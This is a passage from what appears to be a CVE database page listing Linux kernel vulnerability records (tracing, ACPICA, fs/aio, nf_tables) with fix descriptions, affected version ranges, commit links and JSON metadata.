                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Consider the NULL character when validating the event length\n\nstrlen() returns a string length excluding the null byte. If the string\nlength equals to the maximum buffer length, the buffer will have no\nspace for the NULL terminating character.\n\nThis commit checks this condition and returns failure for it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:02.407Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5e3231b352725ff4a3a0095e6035af674f2d8725"
        },
        {
          "url": "https://git.kernel.org/stable/c/02874ca52df2ca2423ba6122039315ed61c25972"
        },
        {
          "url": "https://git.kernel.org/stable/c/b86b0d6eea204116e4185acc35041ca4ff11a642"
        },
        {
          "url": "https://git.kernel.org/stable/c/f4ed40d1c669bba1a54407d8182acdc405683f29"
        },
        {
          "url": "https://git.kernel.org/stable/c/a14a075a14af8d622c576145455702591bdde09d"
        },
        {
          "url": "https://git.kernel.org/stable/c/5fd942598ddeed9a212d1ff41f9f5b47bcc990a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b6e2e22cb23105fcb171ab92f0f7516c69c8471"
        }
      ],
      "title": "tracing: Consider the NULL character when validating the event length",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50131",
    "datePublished": "2024-11-05T17:10:56.981Z",
    "dateReserved": "2024-10-21T19:36:19.955Z",
    "dateUpdated": "2026-05-12T12:00:17.716Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40984 (GCVE-0-2024-40984)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:33 – Updated: 2026-05-12 11:56

Title

ACPICA: Revert "ACPICA: avoid Info: mapping multiple BARs. Your kernel is fine."

Summary

In the Linux kernel, the following vulnerability has been resolved: ACPICA: Revert "ACPICA: avoid Info: mapping multiple BARs. Your kernel is fine." Undo the modifications made in commit d410ee5109a1 ("ACPICA: avoid "Info: mapping multiple BARs. Your kernel is fine.""). The initial purpose of this commit was to stop memory mappings for operation regions from overlapping page boundaries, as it can trigger warnings if different page attributes are present. However, it was found that when this situation arises, mapping continues until the boundary's end, but there is still an attempt to read/write the entire length of the map, leading to a NULL pointer deference. For example, if a four-byte mapping request is made but only one byte is mapped because it hits the current page boundary's end, a four-byte read/write attempt is still made, resulting in a NULL pointer deference. Instead, map the entire length, as the ACPI specification does not mandate that it must be within the same page boundary. It is permissible for it to be mapped across different regions.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/435ecc978c3d5d0c4…
https://git.kernel.org/stable/c/ae465109d82f4fb03…
https://git.kernel.org/stable/c/6eca23100e9030725…
https://git.kernel.org/stable/c/dc5017c57f5eee800…
https://git.kernel.org/stable/c/ddc1f5f124479360a…
https://git.kernel.org/stable/c/434c6b924e1f4c219…
https://git.kernel.org/stable/c/e21a4c9129c72fa54…
https://git.kernel.org/stable/c/a83e1385b780d4130…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < 435ecc978c3d5d0c4e172ec5b956dc1904061d98 (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < ae465109d82f4fb03c5adbe85f2d6a6a3d59124c (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < 6eca23100e9030725f69c1babacd58803f29ec8d (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < dc5017c57f5eee80020c73ff8b67ba7f9fd08b1f (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < ddc1f5f124479360a1fd43f73be950781d172239 (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < 434c6b924e1f4c219aab2d9e05fe79c5364e37d3 (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < e21a4c9129c72fa54dd00f5ebf71219b41d43c04 (git) Affected: d410ee5109a1633a686a5663c6743a92e1181f9b , < a83e1385b780d41307433ddbc86e3c528db031f0 (git)
Linux	Linux	Affected: 2.6.32 Unaffected: 0 , < 2.6.32 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:49.395Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/435ecc978c3d5d0c4e172ec5b956dc1904061d98"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae465109d82f4fb03c5adbe85f2d6a6a3d59124c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6eca23100e9030725f69c1babacd58803f29ec8d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dc5017c57f5eee80020c73ff8b67ba7f9fd08b1f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ddc1f5f124479360a1fd43f73be950781d172239"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/434c6b924e1f4c219aab2d9e05fe79c5364e37d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e21a4c9129c72fa54dd00f5ebf71219b41d43c04"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a83e1385b780d41307433ddbc86e3c528db031f0"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40984",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:02:10.333733Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:21.046Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:04.534Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/acpica/exregion.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "435ecc978c3d5d0c4e172ec5b956dc1904061d98",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "ae465109d82f4fb03c5adbe85f2d6a6a3d59124c",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "6eca23100e9030725f69c1babacd58803f29ec8d",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "dc5017c57f5eee80020c73ff8b67ba7f9fd08b1f",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "ddc1f5f124479360a1fd43f73be950781d172239",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "434c6b924e1f4c219aab2d9e05fe79c5364e37d3",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "e21a4c9129c72fa54dd00f5ebf71219b41d43c04",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            },
            {
              "lessThan": "a83e1385b780d41307433ddbc86e3c528db031f0",
              "status": "affected",
              "version": "d410ee5109a1633a686a5663c6743a92e1181f9b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/acpica/exregion.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.32"
            },
            {
              "lessThan": "2.6.32",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: Revert \"ACPICA: avoid Info: mapping multiple BARs. Your kernel is fine.\"\n\nUndo the modifications made in commit d410ee5109a1 (\"ACPICA: avoid\n\"Info: mapping multiple BARs. Your kernel is fine.\"\"). The initial\npurpose of this commit was to stop memory mappings for operation\nregions from overlapping page boundaries, as it can trigger warnings\nif different page attributes are present.\n\nHowever, it was found that when this situation arises, mapping\ncontinues until the boundary\u0027s end, but there is still an attempt to\nread/write the entire length of the map, leading to a NULL pointer\ndeference. For example, if a four-byte mapping request is made but\nonly one byte is mapped because it hits the current page boundary\u0027s\nend, a four-byte read/write attempt is still made, resulting in a NULL\npointer deference.\n\nInstead, map the entire length, as the ACPI specification does not\nmandate that it must be within the same page boundary. It is\npermissible for it to be mapped across different regions."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:37.843Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/435ecc978c3d5d0c4e172ec5b956dc1904061d98"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae465109d82f4fb03c5adbe85f2d6a6a3d59124c"
        },
        {
          "url": "https://git.kernel.org/stable/c/6eca23100e9030725f69c1babacd58803f29ec8d"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc5017c57f5eee80020c73ff8b67ba7f9fd08b1f"
        },
        {
          "url": "https://git.kernel.org/stable/c/ddc1f5f124479360a1fd43f73be950781d172239"
        },
        {
          "url": "https://git.kernel.org/stable/c/434c6b924e1f4c219aab2d9e05fe79c5364e37d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/e21a4c9129c72fa54dd00f5ebf71219b41d43c04"
        },
        {
          "url": "https://git.kernel.org/stable/c/a83e1385b780d41307433ddbc86e3c528db031f0"
        }
      ],
      "title": "ACPICA: Revert \"ACPICA: avoid Info: mapping multiple BARs. Your kernel is fine.\"",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40984",
    "datePublished": "2024-07-12T12:33:57.947Z",
    "dateReserved": "2024-07-12T12:17:45.604Z",
    "dateUpdated": "2026-05-12T11:56:04.534Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35815 (GCVE-0-2024-35815)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

fs/aio: Check IOCB_AIO_RW before the struct aio_kiocb conversion

Summary

In the Linux kernel, the following vulnerability has been resolved: fs/aio: Check IOCB_AIO_RW before the struct aio_kiocb conversion The first kiocb_set_cancel_fn() argument may point at a struct kiocb that is not embedded inside struct aio_kiocb. With the current code, depending on the compiler, the req->ki_ctx read happens either before the IOCB_AIO_RW test or after that test. Move the req->ki_ctx read such that it is guaranteed that the IOCB_AIO_RW test happens first.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/10ca82aff58434e12…
https://git.kernel.org/stable/c/396dbbc18963648e9…
https://git.kernel.org/stable/c/94eb0293703ced580…
https://git.kernel.org/stable/c/a71cba07783abc76b…
https://git.kernel.org/stable/c/18d5fc3c16cc317bd…
https://git.kernel.org/stable/c/c01ed748847fe8b81…
https://git.kernel.org/stable/c/5c43d0041e3a05c6c…
https://git.kernel.org/stable/c/961ebd120565cb60c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 337b543e274fe7a8f47df3c8293cc6686ffa620f , < 10ca82aff58434e122c7c757cf0497c335f993f3 (git) Affected: b4eea7a05ee0ab5ab0514421e6ba8c5d249cf942 , < 396dbbc18963648e9d1a4edbb55cfe08fa374d50 (git) Affected: ea1cd64d59f22d6d13f367d62ec6e27b9344695f , < 94eb0293703ced580f05dfbe5a57da5931e9aee2 (git) Affected: d7b6fa97ec894edd02f64b83e5e72e1aa352f353 , < a71cba07783abc76b547568b6452cd1dd9981410 (git) Affected: 18f614369def2a11a52f569fe0f910b199d13487 , < 18d5fc3c16cc317bd0e5f5dabe0660df415cadb7 (git) Affected: e7e23fc5d5fe422827c9a43ecb579448f73876c7 , < c01ed748847fe8b810d86efc229b9e6c7fafa01e (git) Affected: 1dc7d74fe456944a9b1c57bd776280249f441ac6 , < 5c43d0041e3a05c6c41c318b759fff16d2384596 (git) Affected: b820de741ae48ccf50dd95e297889c286ff4f760 , < 961ebd120565cb60cebe21cb634fbc456022db4a (git)
Linux	Linux	Affected: 4.19.308 , < 4.19.312 (semver) Affected: 5.4.270 , < 5.4.274 (semver) Affected: 5.10.211 , < 5.10.215 (semver) Affected: 5.15.150 , < 5.15.154 (semver) Affected: 6.1.80 , < 6.1.84 (semver) Affected: 6.6.19 , < 6.6.24 (semver) Affected: 6.7.7 , < 6.7.12 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35815",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:12:56.685850Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:42.531Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.505Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/10ca82aff58434e122c7c757cf0497c335f993f3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/396dbbc18963648e9d1a4edbb55cfe08fa374d50"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/94eb0293703ced580f05dfbe5a57da5931e9aee2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a71cba07783abc76b547568b6452cd1dd9981410"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/18d5fc3c16cc317bd0e5f5dabe0660df415cadb7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c01ed748847fe8b810d86efc229b9e6c7fafa01e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5c43d0041e3a05c6c41c318b759fff16d2384596"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/961ebd120565cb60cebe21cb634fbc456022db4a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:11.694Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/aio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10ca82aff58434e122c7c757cf0497c335f993f3",
              "status": "affected",
              "version": "337b543e274fe7a8f47df3c8293cc6686ffa620f",
              "versionType": "git"
            },
            {
              "lessThan": "396dbbc18963648e9d1a4edbb55cfe08fa374d50",
              "status": "affected",
              "version": "b4eea7a05ee0ab5ab0514421e6ba8c5d249cf942",
              "versionType": "git"
            },
            {
              "lessThan": "94eb0293703ced580f05dfbe5a57da5931e9aee2",
              "status": "affected",
              "version": "ea1cd64d59f22d6d13f367d62ec6e27b9344695f",
              "versionType": "git"
            },
            {
              "lessThan": "a71cba07783abc76b547568b6452cd1dd9981410",
              "status": "affected",
              "version": "d7b6fa97ec894edd02f64b83e5e72e1aa352f353",
              "versionType": "git"
            },
            {
              "lessThan": "18d5fc3c16cc317bd0e5f5dabe0660df415cadb7",
              "status": "affected",
              "version": "18f614369def2a11a52f569fe0f910b199d13487",
              "versionType": "git"
            },
            {
              "lessThan": "c01ed748847fe8b810d86efc229b9e6c7fafa01e",
              "status": "affected",
              "version": "e7e23fc5d5fe422827c9a43ecb579448f73876c7",
              "versionType": "git"
            },
            {
              "lessThan": "5c43d0041e3a05c6c41c318b759fff16d2384596",
              "status": "affected",
              "version": "1dc7d74fe456944a9b1c57bd776280249f441ac6",
              "versionType": "git"
            },
            {
              "lessThan": "961ebd120565cb60cebe21cb634fbc456022db4a",
              "status": "affected",
              "version": "b820de741ae48ccf50dd95e297889c286ff4f760",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/aio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4.19.312",
              "status": "affected",
              "version": "4.19.308",
              "versionType": "semver"
            },
            {
              "lessThan": "5.4.274",
              "status": "affected",
              "version": "5.4.270",
              "versionType": "semver"
            },
            {
              "lessThan": "5.10.215",
              "status": "affected",
              "version": "5.10.211",
              "versionType": "semver"
            },
            {
              "lessThan": "5.15.154",
              "status": "affected",
              "version": "5.15.150",
              "versionType": "semver"
            },
            {
              "lessThan": "6.1.84",
              "status": "affected",
              "version": "6.1.80",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.24",
              "status": "affected",
              "version": "6.6.19",
              "versionType": "semver"
            },
            {
              "lessThan": "6.7.12",
              "status": "affected",
              "version": "6.7.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.19.308",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.270",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.211",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.150",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "6.1.80",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "6.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "6.7.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/aio: Check IOCB_AIO_RW before the struct aio_kiocb conversion\n\nThe first kiocb_set_cancel_fn() argument may point at a struct kiocb\nthat is not embedded inside struct aio_kiocb. With the current code,\ndepending on the compiler, the req-\u003eki_ctx read happens either before\nthe IOCB_AIO_RW test or after that test. Move the req-\u003eki_ctx read such\nthat it is guaranteed that the IOCB_AIO_RW test happens first."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:32.647Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10ca82aff58434e122c7c757cf0497c335f993f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/396dbbc18963648e9d1a4edbb55cfe08fa374d50"
        },
        {
          "url": "https://git.kernel.org/stable/c/94eb0293703ced580f05dfbe5a57da5931e9aee2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a71cba07783abc76b547568b6452cd1dd9981410"
        },
        {
          "url": "https://git.kernel.org/stable/c/18d5fc3c16cc317bd0e5f5dabe0660df415cadb7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c01ed748847fe8b810d86efc229b9e6c7fafa01e"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c43d0041e3a05c6c41c318b759fff16d2384596"
        },
        {
          "url": "https://git.kernel.org/stable/c/961ebd120565cb60cebe21cb634fbc456022db4a"
        }
      ],
      "title": "fs/aio: Check IOCB_AIO_RW before the struct aio_kiocb conversion",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35815",
    "datePublished": "2024-05-17T13:23:20.326Z",
    "dateReserved": "2024-05-17T12:19:12.343Z",
    "dateUpdated": "2026-05-12T11:52:11.694Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26642 (GCVE-0-2024-26642)

Vulnerability from cvelistv5 – Published: 2024-03-21 10:43 – Updated: 2026-05-12 11:49

Title

netfilter: nf_tables: disallow anonymous set with timeout flag

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: disallow anonymous set with timeout flag Anonymous sets are never used with timeout from userspace, reject this. Exception to this rule is NFT_SET_EVAL to ensure legacy meters still work.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e4988d8415bd0294d…
https://git.kernel.org/stable/c/e9a0d3f376eb356d5…
https://git.kernel.org/stable/c/fe40ffbca19dc70d7…
https://git.kernel.org/stable/c/7cdc1be24cc1bcd56…
https://git.kernel.org/stable/c/72c1efe3f247a5816…
https://git.kernel.org/stable/c/c0c2176d1814b92ea…
https://git.kernel.org/stable/c/8e07c16695583a66e…
